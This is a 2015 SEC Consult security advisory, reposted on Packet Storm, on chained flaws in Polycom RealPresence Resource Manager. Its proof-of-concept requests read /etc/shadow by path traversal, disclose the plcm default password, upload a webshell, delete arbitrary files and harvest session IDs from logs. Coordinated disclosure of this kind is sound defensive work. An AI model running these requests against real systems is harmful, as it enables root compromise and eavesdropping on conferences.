Polycom RealPresence Resource Manager (RPRM) Disclosure / Traversal

2015-06-26T00:00:00
ID PACKETSTORM:132463
Type packetstorm
Reporter Rene Freingruber
Modified 2015-06-26T00:00:00

Description

                                        
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SEC Consult Vulnerability Lab Security Advisory < 20150626-0 >  
=======================================================================  
title: Critical vulnerabilities allow surveillance on conferences  
product: Polycom RealPresence Resource Manager (RPRM)  
vulnerable versions: <8.4  
fixed version: 8.4  
CVE numbers: CVE-2015-4681, CVE-2015-4682, CVE-2015-4683, CVE-2015-4684  
CVE-2015-4685  
impact: critical  
homepage: http://www.polycom.com  
found: 2015-03-10  
by: R. Freingruber, C.A. (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Berlin - Frankfurt/Main - Montreal - Singapore  
Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
- -------------------  
"A key component of the Polycom RealPresence Platform, available as a hardened  
appliance or software optimized for virtualized environments, the RealPresence  
Resource Manager application is critical to effectively managing thousands of  
mobile, desktop, and group telepresence systems."  
  
http://www.polycom.com/content/www/en/products-services/realpresence-platform/management-applications/realpresence-resource-manager.html  
  
  
Business recommendation:  
- ------------------------  
By combining all vulnerabilities documented in this advisory an unprivileged  
authenticated remote attacker can gain full system access (root) on the RPRM  
appliance. This has an impact on all conferences taking place via this RP  
Resource Manager. Attackers can steal all conference passcodes and join or  
record any conference.  
  
SEC Consult recommends not to use this system until a thorough security review  
has been performed by security professionals and all identified issues have  
been resolved.  
  
  
Vulnerability overview/description:  
- -----------------------------------  
1) Unauthorized plaintext password disclosure of RMX admin accounts  
The RPRM discloses the plaintext password of the RMX admin user to an  
unauthorized unprivileged attacker by including it in certain HTTP responses.  
No manipulation of parameters is required.  
  
  
2) Arbitrary file disclosure (I) via path traversal (CVE-2015-4684)  
Ordinary unprivileged users can download an Excel file of all their upcoming  
conferences. This functionality can be exploited by an authenticated attacker  
to download arbitrary files from the server due to insufficient input validation.  
There is no restriction on which files might be downloaded since this action  
is performed with root privileges.  
  
  
3) Plaintext passwords stored in logfiles  
RPRM generates logdata which includes plaintext passwords. This weakness in  
combination with the previous vulnerability allows an unprivileged attacker  
to escalate his privileges to the admin level in the web interface.  
  
  
4) Arbitrary file upload via path traversal (CVE-2015-4684)  
This vulnerability requires admin privileges in the web interface, but combining  
all previous vulnerabilities in this advisory allows privilege escalation.  
Administrators can import (upload) "user aliases" in the web interface. This  
functionality is vulnerable to a path traversal attack. This vulnerability  
can be exploited to upload a webshell and execute arbitrary commands with  
the permissions of the system user "plcm".  
  
  
5) Sudo misconfiguration allows privilege escalation (CVE-2015-4685)  
The "plcm" user is allowed to execute certain tools and scripts in given  
folders with root privileges. At the same time many of these scripts and  
folders are writeable to the plcm user. This allows execution of arbitrary  
code with root privileges.  
  
  
6) Arbitrary file disclosure (II) and removal (path traversal) (CVE-2015-4684)  
An authenticated attacker can download and remove any files using this path  
traversal vulnerability. Exploitation of this vulnerability requires admin  
privileges. There is no restriction on which files might be downloaded or  
removed since this action is performed with root privileges.  
  
  
7) Weak/Missing Authorization  
The separation of users relies on the fact that conference IDs are not  
guessable, but as soon as an information disclosure vulnerability allows an  
attacker to gather conference IDs authorization can be bypassed. The  
arbitrary file download vulnerability (2) allows an attacker to collect  
valid conference IDs.  
  
  
8) Absolute path disclosure (CVE-2015-4682)  
The web application discloses the absolute path to the web root.  
To collect this information no parameter manipulation is required.  
The webroot path is valuable when uploading a web shell (see vulnerability 4).  
  
  
9) Session ID in GET parameter allows for privilege escalation (CVE-2015-4683)  
Certain actions on the website (Excel and log file downloads) submit  
session IDs in HTTP GET parameters. If a privileged user performs such  
an action his session ID is written to the webserver log which can be  
retrieved by an unprivileged attacker by exploiting the vulnerability (2).  
This results in an additional privilege escalation path. Since session IDs  
are bound to source IP addresses successfull exploitation requires the  
attacker to have the same source IP as his victim (e.g. NAT).  
  
  
Proof of concept:  
- -----------------  
1) Unauthorized plaintext password disclosure of RMX admin accounts  
  
Request:  
- -----  
POST /PlcmRmWeb/JNetworkDeviceManager?n=... HTTP/1.1  
Host: <host>:8443  
SOAPAction: http://polycom.com/WebServices/aa:getAvailableBridges  
  
  
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getAvailableBridges  
xmlns:aa="http://polycom.com/WebServices"><credentials  
xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><resultsForConferenceOwner>false</resultsForConferenceOwner><areaId>-1</areaId></aa:getAvailableBridges></soap:Body></soap:Envelope>  
- -----  
  
Response:  
- -----  
<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'>  
<env:Header></env:Header>  
<env:Body>  
<ns2:getAvailableBridgesResponse xmlns:ns2="http://polycom.com/WebServices">  
<return>  
<status>SUCCESS</status>  
</return>  
<mcuList>  
<belongsToAreaUgpId>0</belongsToAreaUgpId>  
<defaultAliasName>*redacted*</defaultAliasName>  
<description></description>  
<deviceId>*redacted*</deviceId>  
<deviceName>*redacted*</deviceName>  
<deviceStatus>ONLINE</deviceStatus>  
<deviceType>CR</deviceType>  
<deviceUUID>00000000-0000-0000-0000-000000000000</deviceUUID>  
<hasDeviceErrors>false</hasDeviceErrors>  
<ipAddress>*redacted*</ipAddress>  
<isCallServer>false</isCallServer>  
<isMcuPoolOrderSource>false</isMcuPoolOrderSource>  
<managedGatekeeperStatus>NOT_APPLICABLE</managedGatekeeperStatus>  
<password>*PLAINTEXTPASSWORD*</password>  
[...]  
- -----  
  
The same information is disclosed in the "aa:getMCUsNetworkDevicesForList" and  
"aa:getNetworkDevicesForList" requests.  
  
  
2) Arbitrary file disclosure (I) via path traversal  
The following URL allows an attacker to read the /etc/shadow file:  
https://hostname:8443/PlcmRmWeb/FileDownload?DownloadType=REPORT&Modifier=../../../../../../../etc/shadow&Credentials=*VALID-USER-TOKEN*&ClientId=&FileName=  
  
root:<hash>:16135:0:99999:7:::  
bin:*:15513:0:99999:7:::  
daemon:*:15513:0:99999:7:::  
dbus:!!:16135::::::  
hacluster:!!:16135::::::  
vcsa:!!:16135::::::  
rpc:!!:16135:0:99999:7:::  
ntp:!!:16135::::::  
plcm:$1$nqk4wqYm$N4QLTb66K8JwE9yM2GuO.1:16135::::::  
[...]  
  
(plcm user password is Polycom123)  
  
3) Plaintext passwords stored in logfiles  
  
No proof of concept necessary.  
  
  
4) Arbitrary file upload via path traversal  
  
Request:  
- -----  
POST /PlcmRmWeb/FileUpload HTTP/1.1  
Accept: text/*  
Content-Type: multipart/form-data; boundary=----------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
User-Agent: Shockwave Flash  
Host: <host>:8443  
Content-Length: 1076  
Connection: Keep-Alive  
Cache-Control: no-cache  
  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="Filename"  
  
../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="SE_LOC"  
  
null  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="Token"  
  
*VALID-USER-TOKEN*  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="SE_FNAME"  
  
../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="UploadType"  
  
SIP_URL_CSV  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="FlashSessionId"  
  
*session-id*  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="Filedata"; filename="webshell-123.jsp"  
Content-Type: application/octet-stream  
  
*web shell payload here*  
  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0  
Content-Disposition: form-data; name="Upload"  
  
Submit Query  
- ------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0--  
  
  
5) Sudo misconfiguration allows privilege escalation  
Excerpt from /etc/sudoers:  
  
plcm ALL=(ALL) ALL  
plcm ALL=(root)NOPASSWD:/usr/sbin/dmidecode  
plcm ALL=(root)NOPASSWD:/sbin/init  
plcm ALL=(root)NOPASSWD:/sbin/service  
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/bin/getNetworkInfo.pl  
*...*  
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/schema/script/getCipherSuiteMode.sh  
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/ha/scripts/*  
*...*  
plcm ALL=(root)NOPASSWD:/var/polycom/cma/upgrade/scripts/*  
plcm ALL=(root)NOPASSWD:/usr/bin/snmptrap  
plcm ALL=(root)NOPASSWD:/usr/bin/snmpget  
plcm ALL=(root)NOPASSWD:/sbin/iptables  
*...*  
plcm ALL=(root)NOPASSWD:/usr/sbin/tcpdump  
plcm ALL=(root)NOPASSWD:/usr/sbin/logrotate  
plcm ALL=(root)NOPASSWD:/usr/sbin/wired_supplicant_configurator  
  
Among many other paths in this long list, the folder  
/var/polycom/cma/upgrade/scripts/  
is writeable for the plcm user. Simply placing any malicious script/executable in  
this folder and executing it via sudo gives an attacker full root access.  
  
  
6) Arbitrary file disclosure (II) and removal (path traversal)  
  
The following request is used to disclose and remove "/etc/hosts" from the system.  
An arbitrary file can be specified here (operations are executed with root privileges).  
  
POST /PlcmRmWeb/JUserManager?n=... HTTP/1.1  
Host: <host>:8443  
SOAPAction: http://polycom.com/WebServices/aa:importSipUriReservations  
  
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:importSipUriReservations  
xmlns:aa="http://polycom.com/WebServices"><credentials  
xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><filePathName>../../../../../../../../../../../../../etc/hosts</filePathName></aa:importSipUriReservations></soap:Body></soap:Envelope>  
  
It's very likely that the SOAP action "aa:importUserH323Reservations" contains the same vulnerability.  
  
  
7) Weak/Missing Authorization  
  
The exploit of this vulnerability has been removed from this advisory.  
According to the vendor it is unresolved in the new software version 8.4.  
  
  
8) Absolute path disclosure  
  
Request:  
- -----  
POST /PlcmRmWeb/JConfigManager?n=... HTTP/1.1  
Host: <host>:8443  
SOAPAction: http://polycom.com/WebServices/aa:getCustomLogoUploadPath  
Content-Length: 417  
  
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getCustomLogoUploadPath  
xmlns:aa="http://polycom.com/WebServices"><credentials  
xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials></aa:getCustomLogoUploadPath></soap:Body></soap:Envelope>  
- -----  
  
Response:  
- ---------  
<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'>  
<env:Header></env:Header>  
<env:Body>  
<ns2:getCustomLogoUploadPathResponse xmlns:ns2="http://polycom.com/WebServices">  
<return>  
<status>SUCCESS</status>  
</return>  
<url>/download/CustomLogos/</url>  
<path>/opt/polycom/cma/current/jserver/web/ROOT.war/download/CustomLogos/</path>  
</ns2:getCustomLogoUploadPathResponse>  
</env:Body>  
</env:Envelope>  
- -----  
  
At least the following SOAP actions can be used to retrieve absolute paths:  
- - aa:getCustomLogoUploadPath  
- - aa:getCustomDesktopLogoUploadPath  
- - aa:getUploadDirectory  
- - aa:getSystemLogFiles  
- - aa:getLegacyUploadDir  
- - aa:getAuditLogFiles  
  
  
9) Session ID in GET parameter allows privilege escalation  
  
Sample URL that contains a session ID in the GET parameter 'Credential':  
  
/PlcmRmWeb/FileDownload?DownloadType=LOGGER&Modifier=-123&Credentials=12345678-1234-1234-1234-123456789000&ClientId=&FileName=Conference.log  
  
Path to the webserver access logfiles:  
/var/log/polycom/cma/audit/localhost_access_log.log  
/var/log/polycom/cma/audit/localhost_access_log.log.1.gz  
...  
  
Extract valid session IDs from the log files:  
egrep "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" localhost_access_log.log  
  
  
Vulnerable versions:  
- -----------------------------  
According to the vendor, all software versions <8.4 are affected.  
  
  
Vendor contact timeline:  
- ------------------------  
2015-03-25: Video conference with Polycom, discussing vulnerabilities  
2015-03-27: Contacting Polycom through security@polycom.com, requesting  
encryption keys, attaching responsible disclosure policy.  
2015-04-01: Polycom provides PGP key  
2015-04-02: Sending encrypted security advisory to Polycom  
2015-04-03: Polycom provides affected versions  
2015-04-29: Polycom provides planned release date (2015-06-19) and  
version number that fixes issues.  
2015-05-06: SEC Consult confirms advisory release date: 2015-06-26  
2015-06-15: Polycom releases RPRM v8.4  
2015-06-18: Polycom provides URL to RPRM v8.4  
2015-06-18: SEC Consult asks for reassurance that v8.4 fixes reported  
vulnerabilities since 8.4's release notes do not mention  
any fixes.  
2015-06-22: Received a list that the vulnerabilities were fixed.  
2015-06-26: Coordinated release of security advisory.  
  
  
Solution:  
- ---------  
Update to RPRM v8.4.  
  
For further information see the following URL of the vendor:  
http://support.polycom.com/PolycomService/support/us/support/network/management_scheduling/realpresence_resource_manager.html  
  
Exception:  
RPRM v8.4 does _not_ address the weakness described in section 7  
(Weak/Missing Authorization).  
  
  
Workaround:  
- -----------  
None.  
  
  
Advisory URL:  
- -------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
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EOF SEC Consult Vulnerability Lab / @2015  
  
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